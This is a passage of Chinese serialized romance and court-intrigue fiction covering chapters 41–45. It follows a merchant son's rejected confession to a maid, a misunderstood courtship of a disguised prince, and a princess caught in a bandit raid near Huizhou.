“拿来吧。”钱宁早就想拿过来,一边爬山一边担心吴怡,还不如自己拿过来,“我没事,你天天好吃好喝的照顾我,我早好了,再说了,你都这么累了,这山顶还有一段路呢,你要是累趴下了,我可真没办法了。” 吴怡想了想,又抬头看了看山顶,顿时觉得没力气了,声音都变低了,“钱宁,那我还真得麻烦你了。” “这不是应该的嘛。来,给我这个,还有这个,都给我,挂这。” 两人休息片刻,又向山顶*进发,幸亏百望山虽然是太行山的前端,但是不是很高。要不是太阳火辣辣的,两人早就上去了。钱宁见吴怡脸上红扑扑的,想着自己脸上肯定也是红扑扑的。 两人好不容易登顶了,钱宁一直在寻找机会,可是吴怡一直跑来跑去。“钱宁,你看,那是不是前天我们去的那条河,还有那个,是不是城墙?哇,好清楚,能看见好多地方。钱宁,还是站在高处好,站得高看得远,真好。你看这小花,还有蒲公英呢,你吹一下。” 钱宁见吴怡摘下来一个蒲公英,见她兴奋的样子,便照她说的对着蒲公英用力一吹,白色的“小雨伞”四散飘落。“嘿嘿嘿,真好看。钱宁,幸亏我们上来了,上边还挺凉快。” “吴怡。” “嗯?” “你,你想过以后做些什么吗?” “以后?以后就跟着你学做生意呗,要是以后能有一个自己的店,有一间房子,养一条大狗就最好了。” “那你以后,那你想没想过……哎,吴怡你怎么了?” 吴怡突然觉得有点头重脚轻,“没事。”,吴怡使劲晃了晃头,还是觉得沉,“有点头晕。” “你赶紧坐下。”,钱宁扶着吴怡坐在石头上,“怎么样?不会是中暑了吧?” “中暑?好像是,觉得好难受。” “来,多喝点水。”钱宁拿出水壶,又将毛巾沾上水给吴怡擦脸,“怎么样?” “嗯,好点了。” “这里太热了,我们现在赶紧下山吧,来,我背你。” “不用,不用,钱宁,上山容易下山难,你要是背我就更难了。真的不用。” “快别说了,快上来,中暑严重了会昏厥的,到时候我更没办法弄你下去了,你赶紧上来。” 钱宁背着吴怡下山,走得慢了怕吴怡中暑严重了,走得快了又怕吴怡一直在背上不舒服,两人都是汗流浃背,好不容易才到山脚下。“前边有茶铺,喝点茶会会好一点。” 两人在茶铺坐着,这里有阴凉,喝点茶吴怡终于缓过来。 钱宁坐在吴怡身边一直观察她,终于开口,“吴怡,我刚刚想问你……” “哎,小狗。”吴怡抱起一只不知从哪里跑过来的小狗,“嘿嘿嘿,你看他,全身都是黑的,鼻子旁边倒是白的,真好玩。你叫什么呀?哈哈哈,你渴不渴?可是没法给你喝茶啊,你饿不饿?这里有花生,给你一个。”吴怡从大包小包里找出花生,其实在山上一个都没吃,现在倒好都喂狗了。“你吃饱了吗?还吃啊?” “吴怡,狗不知道饱,你别喂它了。” “嗯,好,那不喂你了,也没有花生了,你去玩吧。” 吴怡终于不逗弄狗了,钱宁重整旗鼓,刚要开口询问,小二来添水了。 “不用了,钱宁,天也不早了,我们走吧。” “啊?不再坐会儿了?” “不了,我好多了,咱们回去吧,你该吃药了。” “不用着急吧,我还想……” “可是你该吃药了,大夫说了,你得按时按点吃药,要不然不容易痊愈。” 说着,吴怡已经起身,钱宁被打岔三次,觉得已经失去了最好的询问时机,虽然心有不甘,但不是随随便便问出来,只好跟着吴怡回客栈。 表白受挫的还有钱朵。钱朵这几天每天都来知府衙门,嘴上说是来看娉婷的,却一直在照顾周启。李博每天也来点卯,与娉婷偏房的门口观察了钱朵三天,“我跟你说啊,她要不是对你哥哥有意思,不可能这样。” “唉,一个嫡皇子,多少伤心人呐。”娉婷摇着头,她可是打小就看见各种女孩子围在哥哥身边,她们都有一个共同的目的,靠近嫡皇子,将来当皇后。 “这个钱朵都不知道你哥哥的真实身份,她就这么上心,要是知道你哥哥是嫡皇子,还不定怎么样呢。” “哎,李博。”娉婷轻轻拍了一下李博的胳膊,“吃醋了吧,大家都是来看哥哥的,你这个一表人才的陪读,居然没有一个人看你。” “虽然心里有点失落,但是谁叫人家是嫡皇子呢。不过啊,这丫头,怕是要伤心喽。” “伤心又不是她一个,管她呢。”娉婷转身往里走。 “你不是她朋友吗,赶紧安慰安慰人家。” “你见过不知道对方真实身份的朋友吗?这种大家闺秀,我才不喜欢呢。”娉婷翘着二郎腿坐在椅子上,自己喝起茶来。 李博转身看了看娉婷,他明白,宫里长大的孩子,最不需要的就是朋友,娉婷除了对皇上、皇后和周启真心,从来没对谁上心过,更不需要什么朋友。李博没有说什么,他明白朋友会出卖,没有朋友的皇室成员才更加安全。 而此时钱朵一心要好好照顾周启,根本想不起来其他人。“周公子,你要写字吗?我帮你研磨吧。” “不用了,我叫连锁来吧。” “我叫连锁管家去买菜了,今天我做几个小菜给你尝尝。” “不用麻烦了吧,李博应该快来了。”周启透过窗户看了看外边,一个人也没有,“娉婷哪去了?” “我刚才看她和李大人在旁边那间屋子里呢,周公子,我看李大人似乎对娉婷姐姐很上心呢。” “是吗?” “是啊,昨天我还看见两人在荡秋千,是坐在一起荡的,很开心呢。” “哦。” 钱朵从周启脸上看不出什么,只是这句“哦”,似乎透露着失落和不高兴,“周公子,李大人也不小了,等他回京,家里肯定会给他选一门亲事的,到时候不知道娉婷姐姐会不会不高兴。” “她干嘛不高兴?”周启听钱朵说话越来越奇怪。 “没什么。就是看她们在一起挺开心的,我想要是他们在一起也算是天作之合。” 周启噗嗤乐了,看了看钱朵,笑的更厉害了,“怎么可能?你两最不可能了。” “周公子,他们怎么了吗?我觉得他们挺合适的啊。” “哈哈哈哈,钱朵,他们,他们就不是一路人。就好像你吧,你和娉婷就不是一路人。你看啊 ,我和李博这样的才是一路人,是这样的,他们就不可能在一起。”周启知道妹妹喜欢爽朗之人,而李博对温柔淑女情有独钟。况且三个人可是从小长到大的,自己与李博的性格差不多,也更聊得来,在京中,娉婷都很少与李博说话。 可是这句话听在钱朵耳朵里,完全不是在说性格,她以为自己倾心的周知府真的有龙阳之好,心中觉得委屈,“周公子,你说的是你心里想的吗?” “当然了。”周启哪知道钱朵喜欢上自己了呢,坦坦荡荡回答道。 “我知道了,周公子,我不该来烦你。”钱朵心情复杂,她觉得周启身边肯定是花团锦簇,没想到自己的对手竟然是个男人。 “什么?怎么会烦呢,我没有烦你啊。” 钱朵以为周启碍于自己的颜面,在安慰自己,只好含着泪说,“周公子,我知道了,我先走了。” 周启更觉得奇怪,钱朵前后的态度变化让他觉得摸不着头脑,但是周启可不是会追着女人跑的人,走也就走了,没过半个时辰他把这件事情给忘了。 第四十二章 重整旗鼓再表白 - 风吹繁花散落时 - 红酒羊排 钱朵一路哭着回家,王夫人听说了十分担心,来到女儿身旁。“朵朵?” “娘。”钱朵哭的梨花带雨,见王夫人来了,一把抱住,“娘,呜呜呜呜,娘,我难受。” “乖孩子,怎么了这是?来,告诉娘,宝贝啊,怎么了?有人欺负你了?还是哪里不舒服了呢?” “娘。”钱朵哭的上气不接下气,“我,我,呜呜呜呜,娘,为什么他不喜欢我呀,我哪里不好了。” 王夫人听喜欢两个字,脑子“嗡”得一声,这两年她也知道孩子大了,早晚要找婆家了,如今肯定是喜欢别人了。“朵朵啊,朵朵,别哭啊,告诉娘,到底怎么了?” 钱朵被王夫人扶着,坐在旁边的椅子上,稍稍平复了一下心情,“娘,我,我。”钱朵还是一把鼻涕一把泪,上气不接下气,“我喜欢周知府。” “周知府?”王夫人最怕女儿喜欢了什么不三不四的人,一听是周知府倒是放心了不少,“这可是好事啊,周知府年轻有为,听你爹说他仪表堂堂的。” “可是他不喜欢我!”钱朵哭得更厉害了。 “怎么会呢?我们钱朵大家闺秀,与周知府可是满当户对,天作之合,怎么可能有人不喜欢我们钱朵呢?” “娘。”钱朵更加伤心了,跺着脚大哭起来,“他,他喜欢李大人。” “哎呦,我的傻丫头,他怎么可能喜欢李大人呢,你爹说了,他很有可能是被陷害的,绝没什么龙阳之好。” 钱朵一听这话,瞬间不哭了,喘着粗气说,“真的?” “我的傻女儿,那个周知府可是状元郎,你和他在一起那真是天作之合。哎呀,太好了。”王夫人笑得合不拢嘴,“我这就去找老爷,去探探周知府的口风。” “哎,娘。”钱朵一把拉住王夫人,“我刚才问他了,他说他和李大人才是一路人。” “一路人,他们当然是一路人了,他们都是官场上的人,当然是一路人了。你呀,是不是想错了。” “我想错了?”钱朵擦着泪,哽咽道,“娘,那人家万一,万一不喜欢我呢?”说着,钱朵又哭了起来。 “乖女儿,别哭了啊。”王夫人心疼极了,“朵朵啊,你听娘说,这官家最在乎官声。如今周知府出了那事,最好的办法就是赶紧成亲,成亲了,谣言就不攻自破了呀。我告诉你啊,现在可是大好时机。你若真喜欢周知府,我就让你爹赶紧去探口风,只要你情我愿,这事不是水到渠成的嘛。” “真的?” “你别哭了,我现在就去找你爹。” 钱朵重燃了希望,“那您赶紧去呀,我不哭了。” “好好好,等娘的好消息啊。”王夫人安抚好钱朵,一路穿门过院来到书房,钱万全正在里边练书法。“老爷,老爷。” 钱万全拿着大毛笔,正站在桌子后,只看了一眼王夫人,“怎么了?” “老爷,咱们朵朵说喜欢周知府了,你快去探探口风。” 钱万全吓了一跳,“什么时候的事?” “刚才她告诉我的。”王夫人满脸堆笑,“老爷,若是咱们朵朵成了知府夫人,咱们也能安心了不是。” “钱朵怎么喜欢周知府了呢?”钱万全还在震惊之中,“他们,他们什么时候认识的?” “呦,这我刚才没问,反正就是喜欢了。老爷,这不是挺好的吗?你不说周知府一表人才,前途不可限量。还有他妹妹,每次来都彬彬有礼,可招人喜欢了,朵朵嫁到这样的人家不会吃亏的。” “她决定不能嫁给周知府。”钱万全将毛笔放下,来到王夫人身边,“夫人呐,他们发展到哪一步了?钱朵呢?她人呢?” “老爷?”王夫人没想到钱万全这个反应,“老爷怎么了,前两天你不还说要赶紧给朵朵找个婆家呢吗?我觉得他们没什么不合适的呀。” “夫人,我们钱家现在还是生死未卜,那个张海对我们钱家虎视眈眈,那个余同知对知府位势在必得,如今我们和周知府本来就是荣辱与共了,没必要让钱朵嫁给他。钱朵要嫁人,也是远离现在的是非,万一我们钱家没有办法度过难关,好歹能保住钱朵。夫人呐,钱朵千万不能跟周知府在一起,就算没有这么一档子事,钱朵也不能嫁给官家。” “老爷,这次我们真的要躲不掉了吗?”王夫人终于明白问题的严重性。 “夫人,虽然现在还没有到最后的关头,可是我们必须做最坏的打算。你想啊,一只老鼠就害得我们钱家丢掉了朝廷供奉,若是我们和周知府成了亲,余年肯定要弄死我们,我们商家拿什么跟官家斗呢?” “嗯,是啊,我们商家怎么能跟官家过不去呢。老爷,那怎么办?钱朵已经深陷其中了。” “我明天出去,我假装去找周知府,然后回来就告诉朵朵周知府无意成亲,最近你不要让她出门,千万不能让余年抓住把柄。” “嗯,好,我一定好好安抚她。”夫妻两商量好,第二天便照计划行事。钱朵知道后,趴在床上痛哭。王夫人虽然心疼,为了朵朵的性命只能强忍住。 钱宁第一次出师不利,今天重整旗鼓,吸取了上次的经验教训,将吴怡约到了潭柘寺。潭柘寺是百年名寺,每天来进香的人络绎不绝。又因为潭柘寺远离四九城,需要住在郊外的客栈一晚,正合钱宁心意。 “钱宁,快来啊。” 钱宁见吴怡兴奋的样子也觉得快快乐乐,“你慢点跑,小心点。” “知道。”吴怡以前经常去庙里,都是破庙,遮风挡雨的,菩萨就是菩萨,总能为穷苦人留下最后的容身之所。“钱宁,你看这是天王殿,对吗?”吴怡一字字仔细念出来,又询问钱宁。 “对。”钱宁像一个老师对学生一样,对吴怡一点一滴的进步都深感欣慰。 “嘿嘿,不过看着好小的样子。我们去后边的大雄宝殿看看。”吴怡又一马当先,向后走去,钱宁在后边慢慢跟随,一直满脸带着笑意。 “钱宁,你看这树。”吴怡拍着路两旁老树根,“你说这会不会成精了,一看这就好大岁数了。” “应该有上百年了吧,黄山上也有很多这样的树,每次看都觉得人生短暂。” “钱宁,大家都活一世,能过好今天就行了。”吴怡说完转身向大雄宝殿跑去,一进殿,见佛像高耸,装严肃立,吴怡也一下子安静下来。在旁边拿起三炷香,恭恭敬敬在佛像前磕了三个头,插上香后,又拜了拜,嘴里小声说道,“愿佛祖能助我找到李老四,愿我们都平平安安。” 钱宁也在旁边进香,看着虔诚的吴怡,又抬头看了看佛像,心中默念:今天一定要说清楚。 两人在寺里四处参观,又到后山的百塔林看了看。“钱宁,你看这塔看着还挺新的呢。” “可能因为是石头做的吧,上百年了还挺新的。”钱宁看吴怡正摸石头做的塔,终于鼓起了勇气,四下看看也没什么旁人会打扰了自己,“吴怡。” “嗯?”吴怡来到钱宁面前,两人对面站着。 “吴怡,我想问你一件事。那个,你想过以后吗?你想嫁给什么人,过什么样的日子。” “以后?我前天不是告诉你了吗?怎么了?” “吴怡,我以前以为我就是做生意,对于未来,我没有太多自己的想法。可是自从遇到你,我开始希冀未来,希望未来可以和你在一起,我,我知道这样可能有点唐突,但是我想知道你是怎么想的。”钱宁一边说一边观察吴怡,吴怡安安静静站着,让钱宁更加不确定。 “钱宁,我,我没想到你会说这些。”吴怡双手搓着,低下了头,“那个,少东家,我,我从来没想过。”吴怡想起了春菊和白芷的话,当时觉得她们不过开玩笑,如今看来也许所有人都已经有所察觉,只有自己后知后觉。 “那,那你现在想想呢?” “少东家,我,我不知道,我从来没想过。况且我就是一个丫头,你是钱家的少东家,以后你是钱家的东家,我还是一个丫头,我们,我们怎么可能……” “吴怡,我喜欢你,我想跟你在一起,什么少东家,什么丫头,我根本不会在乎这些。” “少东家,我,我觉得咱们还是回去吧,天已经不早了,我,我想回去了。”说着,吴怡已经转身离开。 钱宁站在原地,这是被拒绝了,钱宁觉得心底一凉。看着吴怡跑开的背影后悔起来,心想:若是什么也没说还能好好相处,如今该怎么办呢? 两人各自回到客栈,吴怡在房间想了半天,钱宁对自己很好,可是巨大的身份差异让吴怡觉得这根本不可能。吴怡甚至懊恼起来,想着自己十两银子月例的工作算是保不住了,坐在椅子上,双手拍了拍自己的脑袋,“要知道不来学做生意了,现在一分钱没赚到还弄丢了工作,哎呀,我真是太笨了!” 第四十三章 娉婷的心思 - 风吹繁花散落时 - 红酒羊排 吴怡想了一晚上,觉得要是厚着脸皮假装什么也没发生似乎还是说不过去。 一大早,吴怡步伐沉重地下楼,钱宁却好像什么也没发生一样,坐在楼下等着吴怡吃早饭。 “吴怡,这呢。” 吴怡觉得钱宁看着不像生气的样子,便试探着坐到了钱宁的对面,“少东家。” “怎么又叫少东家了呢?吴怡,就算你没有接受我,那我们还是朋友呀,朋友之间都是叫名字的呀。” 吴怡看钱宁脸上还是带着笑意,觉得自己想多了,“嗯,对。”吴怡恢复如常,“钱宁早,哈哈,这么多好吃的。” “你多吃点,明天我们就要回徽州了。” “嗯,好。哎对了,钱宁,周知府家不就是京城的嘛,就是不知道他家在哪。” “是啊,要不然还能去拜访一下。” “那我们可以打听一下,状元家在哪肯定有人知道吧。” “啊?这样好吗?我们什么也没有准备,这样冒失不太好吧。” “不太好吗?嘿嘿,我也不知道,那好吧,我们就别瞎打听了,还是休息一天,明天好回去。” 钱宁看着吴怡没心没肺的样子,心想来日方长,只要还在一起,终有一天吴怡会看见自己的好。 这几天,京城整个商界都传开了,张灵在京城收货,眼光十分老辣独到。京中有好事之徒早就打听出来了,钱宁是与张家兄妹是一起来京的,而只有张浩离开了京城。所以有些无所事事之人已经开始编排两人,说张灵的背后就是钱宁在把关,而这些闲话自然传到了李天时的耳中。钱家一直没有被扳倒,如今晋中的张家也卷了进来。李尚书认为应该再找突破口,将钱家摁倒,联合张家与陈家,形成一个庞大的商运网络,在三皇子面前挽回颜面。张海接到尚书大人的指示,立即与张广一起着手与晋中张家联络。 周启与李博在徽州也没有闲着,两人联手设个一个陷阱,将手下人都“算计”了一遍,可是没有一个人有异常。周启更加奇怪了,决定再来个大招。 “这行吗?你别再玩砸了。” “怎么不行,抓住那个给你纸条的人,先知道都什么人盯着我呢,别的再说吧。” 两人公开的路上勾肩搭背,鬼鬼祟祟,第三天终于开始行动。两人沿着河边走,一会儿来一个回事的人,一会儿来一个回事的人,接连五人,李博终于走开,周启在河边站立良久,终于回身往小巷子里走去。这小巷子可是经过何平实际探勘过的,枝丫交错,转弯极多。周启慢慢悠悠走在路上,突然一侧身进入旁边开着的小门里,连锁在里边轻轻将门关上。后边跟着的人原本就与周启有很长的距离,走了几步才发现周启不见了,站在三叉交汇处东张西望两下,忽然三个路口都走出来一个人,正是周启、李博和何平。三人围着跟踪的人,见他身材结实强壮,目光坚定,看着不像一般宵小之徒。 “你是什么人?”李博率先提问。 这男子一脸淡定,“我路过。” “路过?还敢不老实,再不说实话让你知道知府衙门往哪开。” 这男子还是淡定从容,“三位大人,知府衙门往哪开,小的知道,不用劳烦三位大人了。” “呦,还挺横,拿下!”李博一声令下,侍卫们都冲了出来。 “慢着!” 李博示意大家暂停,“识时务者为俊杰,现在说还来得及。” “李大人,属下不能说。” 李博看了一眼周启,周启觉得这人的确不简单,“本官是徽州知府,这徽州地界上的人和事都归本官管理。” 男子向周启抱拳施礼,“周大人。” 这一下,周启倒是看出来了,他不向李博和何平施礼,只向自己施礼,说明他的身份不简单,如果他不是徽州的人,那他就是有官职的人,能够调动此人的人,必是京中大人物。“你向谁复命?” “周大人,小的不能告诉您。” “你知道我的真实身份吧?我有权知道。” “周大人,您无权过问。” 李博和何平互相看了一眼,“放肆!” “李大人,何必如此动气,伴读就是伴读,没有主子淡定。” “哈哈哈,看来我外公真是厉害啊,你回去告诉我外公,我挺好的,让他不用担心。” 男子脸上笑了笑。“周大人,您也不用猜了,小的真的不能说。” “那你告诉我,有多少人跟着我。” “周大人。” “你只要告诉我有多少人就行。” 男子思索一下,一抱拳,“周大人,小的只看见一个。” “什么时候来的。” “前几天。” “张海的人呢?” “一直在暗处,只有一个。” 周启直直看着男子的眼睛,没过五秒,就吩咐道,“你下去吧。” 男子一抱拳却步离开,李博走上前来,“怎么让他走了。”周启看来一眼众人,“都回去吧,我已经知道了。” 众人回到知府衙门,李博跟着周启进了书房。 “大人,他到底是谁啊?” “父皇的人。” “皇上的人?不是丞相大人的人啊?你怎么知道的呀?” 周启翻开书,看了一眼李博,“你没听见吗?前几天又来一个,肯定是我给我母后写信,我外公有所察觉,就派人来看看,这个是一开始就盯着我的,那只能是父皇的人。还有啊,你赶紧去找那个张广吧叫,赶紧去找去,他在暗处盯着呢,早晚得出事。” “周大人,这我都撒出人找了,可是一点踪影也没有。”李博觉得实在棘手,又突然来了精神,“大人,咱们叫这个人给我们找不得了,他不是看见张广了吗。” “哼。”周启被李博给气乐了,“你没看那人这态度,对你和何平是毫不客气,对我也就是面上功夫,看来是我父皇心腹,哪能听咱们调派呢。” “这个张海和张广也够神秘的,要是在京城就好办了,直接去户部查查就行。” 周启将手上的书飞了出去,李博赶紧伸手接住。“出去!” “周大人。” “出去!” “好好好,我出去,我出去,别生气啊,别生气。”李博嬉皮笑脸将书放在桌子上,“我去查去,一定能查到,一定能的,别生气啊。”李博从书房出来,心想:只要是个人,一定有蛛丝马迹,看来还是没找对方法。李博转眼看见娉婷在院子里浇花。 “大小姐,这大中午的,你在把它们给烫死。” 娉婷拿着喷壶头也不动,只用眼睛斜了李博一眼,“你有意见?” 李博看出来这位大小姐心情不太好,“没意见,没意见。”李博刚在周启那里丢人了,可不想在娉婷这里再触霉头,所以赶紧开溜。 娉婷自从发现钱朵喜欢周启,为了避免尴尬,就不再去找她了,如今娉婷又变成孤家寡人一个了,每天都觉得无聊。娉婷浇花浇热了,就慢慢悠悠来到书房门口,整个身子倚在门框上,一脚踩在门槛上,“哥。” 周启看她那样就知道又闹大小姐脾气呢,“怎么了?” “哥哥,我想去找陈明阳。” “找他干嘛?”,周启终于放下书,“你疯了吧你!” “哥,前两天我就发现了,我是疯了!我每天都想他,有时候我想咬死他,有时候我又觉得他特好,我想他,每天都想。” 周启上下打量了一遍娉婷,震惊之中起身来到娉婷身边,“你疯了。” “我怎么了?” “哼,你忘了你的身份了?你是大周朝的嫡公主,父皇已经给你赐婚了。” “我才不嫁给那个糟老头子呢,他赶紧死了最好!”娉婷刚刚还在想陈明阳,一秒被周启拉回现实。 周启早就知道娉婷不愿意远嫁,可是这是皇帝已经订好的,如果能阻止早就阻止了,“娉婷,西凉王一时半会死不了。还有,你记住了,我们从一出生就没有什么选择的权利,父皇已经和西凉订立了国书,你的婚事万难更改,你最好死了这份心,对你,对陈明阳都好。” “哥,我才不信呢!”娉婷就是一个不撞南墙不回头的性格,“要是我在这里成亲了,我就不会嫁给西凉王了。哥,你得帮我!” “我看你真的是疯了。”周启已经失去了耐心,“连锁,何平。” 两人听见招呼赶紧跑出来,“大人。” “你们,你们明天送六公主回宫去。” 两人面面相觑,看着娉婷,娉婷没想到周启这么对自己,“哥!” “你给我闭嘴!娉婷,我带你出来不是让你胡闹的,你明天就给我回宫去,那个陈明阳,你要是再胡闹,你知道父皇会怎么对付他吗?不用我告诉你了吧周娉婷。” 娉婷想起皇帝的严厉,心中紧张,哭了出来。周启知道她难受,走过来拍了拍她的肩膀,又将她搂在怀中,“妹妹啊,我们都没办法选择,只有认命了。” 第四十四章 马匪来袭 - 风吹繁花散落时 - 红酒羊排 娉婷被周启关在房中,她心情已经糟糕到了极点,躺在床上翻来覆去。娉婷与周启是双胞胎,从小一起长大,但是因为周启是唯一的嫡皇子,所有人都听从他,最起码表面上看着是这样的,所以娉婷从小也最听哥哥的话,周启也时极力保护妹妹。可是从几个月前皇帝突然宣布让娉婷远嫁的时候开始,一切都变了:周启没有说一句话,皇后没有说一句话,大臣们更是没有说一句话。娉婷觉得自己孤立无援,从万人捧在手心里的小公主变成了孤家寡人,娉婷甚至不想看见皇帝,觉得就是他抛弃了自己。她躲在哥哥的箱子里出了京城,以为在徽州哥哥能保护自己,能向着自己,能改变自己的命运,可是到头来还是枉然,什么都没有,没有人支持她,没有人同情她,甚至没有人喜欢她。 第二天,娉婷已经死心了,看着一院子的侍卫知道周启再也不会向着自己了。 “公主,先吃点饭吧,一会儿还要赶路呢。” 娉婷看了连锁一眼,一句话也没有说。周启与李博站在书房的窗户旁,也一句话都不说。两兄妹就这么隔着窗户对视了一眼,娉婷突然恢复了傲娇,极力忍住了泪水,下定了很大的决心,在众人的注视下离开了知府衙门。 大家不知道的是,此时的徽州城外来了一队人马,他们已经在城外的十里亭集结,只等一声令下,便要冲进城去。 娉婷什么也没吃,跑了一会儿马就觉得饿了,加上天气炎热,娉婷下令在三里亭休息。连锁和何平与另两个侍卫护送娉婷,知道她心情不好也不敢说什么。站在三里亭周围巡视一番,觉得没什么危险便坐在娉婷旁边的桌子旁,仔细观察周围的动静。整个三里亭只有他们几人,周围也寂静得不正常,连树上的鸟都不叫。何平一直在宫中戍守,虽然没经过战场上的历练,也从心里生出一种不祥之感。突然地平线上跑过来一驾马车,何平迅速将佩刀抽出来一截,自己已经站起来了。娉婷原本自己想事,一看何平如此反应着实吓了一跳,也回身看着何平看向的地方。 连锁、何平与两个侍卫围住娉婷,看着一驾马车由远及近,五人屏住呼吸。马车上坐着一人,大喊一声,“马匪来了,马匪来了!”那人也不下马,迅速从三里亭经过,往徽州城方向跑去。 娉婷站起来,“什么马匪?” “公主别怕,赶紧上马,赶紧回徽州!” 五人翻身上马,也往徽州城方向进发,没跑两步,连锁勒住缰绳,“公主,公主!” 大家都勒住缰绳,“怎么了?” “公主,奴才得去看看。” “你去干什么?”娉婷已经十分紧张。 “公主,这马匪若是进城,大人可没法交代了!” “马匪怎么会进城呢?你别胡闹!” “公主,若他们不进城最好,奴才去看看就回来,若是他们往这个方向来,奴才也能给大人报个信。”连锁看了一眼大家,“何大人,你先护送公主回去,我去去就回来。”连锁一拉缰绳,已经调转马头往回跑去。 “哎,连锁,连锁。” “公主,现在咱们赶紧回城,找大人派人来,快!”四人策马扬鞭,一路跑到了离城门一里的地方,徽州城尽在眼前了。远远的,娉婷见一人独自骑马而来,身影十分熟悉,走进了终于看清,竟是陈明阳。 “陈明阳!”两马一错蹬,娉婷大喊一声,“你干嘛去?” 陈明阳早看见娉婷了,心里最不想搭理她,听见娉婷喊话也不答应,还向前跑去。 “哎,陈明阳!”娉婷拉住马,调转马头仅仅追着陈明阳,“陈明阳,回来,赶紧回来,危险!” “大小姐,大小姐!”何平看这样的情形真是乱套,“你,你赶紧去通知大人,你和我一起保护小姐。” 娉婷骑马技术娴熟,没一会儿就追上了陈明阳,与陈明阳并驾齐驱,“陈明阳,我跟你说话呢!危险!” 陈明阳终于看了一眼娉婷,马鞭一挥加快了速度。何平与侍卫在后边紧追不舍,不一会儿的功夫就经过了三里亭向十里亭方向进发。 “陈明阳,陈明阳!前边有马匪,你赶紧停下!” “你不就是土匪吗?你别跟着我,你跟着我我才危险呢!” “陈明阳,前面真的有马匪,我没骗你!” 陈明阳一马当先,他赶着去给爷爷拿药方,不想在这里时候节外生枝耽误了时间。跑得越远,娉婷越着急,“陈明阳,赶紧停下呀!陈明阳!” 此时的连锁已经看见了一队马匪,全都骑在高头大马上,马背上一柄长刀支棱着。连锁将自己的马藏好,静悄悄得躲在一片密林里,在树后,连锁探出头数了数人数,足有百十来人。一队人似乎在商量什么,连锁赶紧向后退,骑上自己的马往回跑。 连锁这一跑,马匪的观察哨看见了,惊动了整个马匪队伍,刚刚还在商量事情的大当家的下令向徽州城进发。 余年及其亲信的府门口都挂上了一只黑灯笼,张海也吩咐人挂上了一只黑灯笼,这是事前商量好的,只看黑灯笼不看人,余年已经派人来到城门口,专等马匪杀来。 陈明阳、娉婷两人还在并驾齐驱,与连锁已经对向而奔。连锁看见娉婷骑着马与陈明阳在较劲,心中大惊,“小姐,小姐,马匪来了,快跑!” 陈明阳原本一直在看着娉婷,向前一看连锁对着两人大喊快跑,后边还跟着一队人,横着一队人马向自己与娉婷冲了过来。陈明阳与娉婷的马速都太快了,想拉住缰绳已经来不及了,他们先与连锁错开,与那一大横队人马就差十米不到了。娉婷心中慌乱起来,掉头已经来不及了,突然陈明阳一把搂住娉婷的胳膊,让她趴在了自己的马上。两队人一交锋,陈明阳抽出宝剑左挥右挥两下,挡住了马匪的砍刀,幸亏马匪是横着两队人,陈明阳与娉婷居然靠着马速冲了过去!而娉婷的马被马匪砍了一刀,噗通倒在地上,这个时候何平与侍卫也与马匪交锋上了,两人与马匪打在一处。 娉婷还没反应过来发生了什么,抬头向后一看,有一个马匪追了上来,“快跑,来了!” “趴好了!”陈明阳大喊一声,陈明阳快马加鞭在官道上飞奔。两人一匹马速度就下来了,后边的马匪不一会儿就来到近前,一刀向陈明阳砍来,陈明阳总走这条路,知道这里有颗歪脖子树,那里有条小路。就在马匪砍他的一瞬间,陈明阳的马转弯了,刀顺着陈明阳的左胳膊肘就往下砍空了,马匪拉住缰绳,紧追不舍。 娉婷趴在马背上,都要吐了,见马匪又来了,可生气了。从腰间掏出来一个弹弓子,好不容易瞄准了,一个石头飞出去,正好打在马匪的脸上。陈明阳原本骑着马逃命,听见后边噗通一声,慢慢停下来一看,马匪栽倒在地,但是没有死,艰难地把这马要站起来。陈明阳赶紧翻身下马,提着剑来到马匪身边,将剑架在马匪脖子上,“别动!” 马匪捂着脸,还没缓过劲来。娉婷终于从马上下来,拿着弹弓子扶着旁边的树干呕了两声。 “快过来帮忙!” 娉婷见陈明阳用剑指着马匪,气不打一处来,上来就是一脚,将马匪踹倒在地。 “女侠饶命,女侠饶命。” 陈明阳一拉娉婷,“成了,赶紧把他绑起来。” “绑他干嘛!直接杀了算了!” 陈明阳瞪了娉婷一眼,自己向前动手。正在这时,草丛里有动静,娉婷赶紧举好弹弓子,“赶紧出来!我们看见你了!”陈明阳也拉着马匪的胳膊紧张地观察。一个人从草丛里踉踉跄跄走了出来,“别打我,别打我,我就是,我就是看见马匪躲在这的,我是好人。” 娉婷松了一口气,依旧举着弹弓子对着那人,“你,你去把那马匪捆起来。” “啊?我?哎呦我不敢呐。”躲着的人也是庄稼汉的模样,哪敢做这样的事情,赶紧给娉婷作揖,“您饶了我吧!” 娉婷拉着弹弓子的手更加用力了,“你快点!” 陈明阳看不下去了,“算了,你走吧,我来绑吧!” 庄稼汉得到了赦免,赶紧连滚带爬得跑了。娉婷见陈明阳将马匪的上衣脱下来,捆住了他,才终于开口说话,“哼,叫你不相信我!现在知道了吧!” 陈明阳心中也不好意思,“咱们带着他去离这里不远的驿站,那里有官吏,把他交给那里的官吏。” “干嘛不回徽州。” 陈明阳看了一眼娉婷,“回徽州?那些马匪就是奔着徽州去的,现在徽州准不定成什么样子了呢!” 娉婷楞了一下,“那我得回去,我哥还在徽州呢!” 第四十五章 周启、李博迎战马匪 - 风吹繁花散落时 - 红酒羊排 娉婷担心周启的安慰,要赶着回徽州,陈明阳倒是冷静,一把拉住娉婷,“娉婷,你现在回去就是送死。” 娉婷甩开陈明阳,“你放开我,我哥哥还在城里呢,我必须回去!再说了,陈明阳,刚才你要是听我的,咱们早都回去了!你别忘了,你家人可都还在徽州城里呢,你也是大户人家吧,那些马匪第一个就得去你家。” “是,刚才是我错了,但是现在徽州城情况不明,你刚才没看见那队马匪吗,兵强马壮的,要是你现在回去,只能是送死。若你非得回去,我自然也没法拦着你,可你想好了,你要是去送死,你哥哥知道了,以后得有多自责,他一辈子都可能没法原谅自己。” 娉婷一愣,低着头带着哭腔,“才不会呢,哥哥才不会呢,他都不管我了。” 陈明阳不知道周家兄妹发生了什么事情,但是见娉婷如此伤心,加上刚才两军交锋,肯定也吓坏了,实在不忍心再责备她,“好了,我们先去前边的驿站说明情况,那里有官吏,肯定比我们百姓更有办法。” 娉婷看了一眼陈明阳,心中知道他说得对,虽然不情愿,还是被陈明阳拉着一起将马匪捆在书上,还将他的双眼蒙住,嘴巴堵住。两人同骑一匹马向官道走去。没走两步,何平就骑着马追了过来,“小姐,小姐!”何平身上都是血,也说不清是他的还是马匪的,他与连锁冲出重围,一路沿着官道追踪娉婷,碰见岔路口,两人就分开寻找。 “哎,何平。”娉婷见何平没有死,终于放心了一点,“何平,其他人呢?” 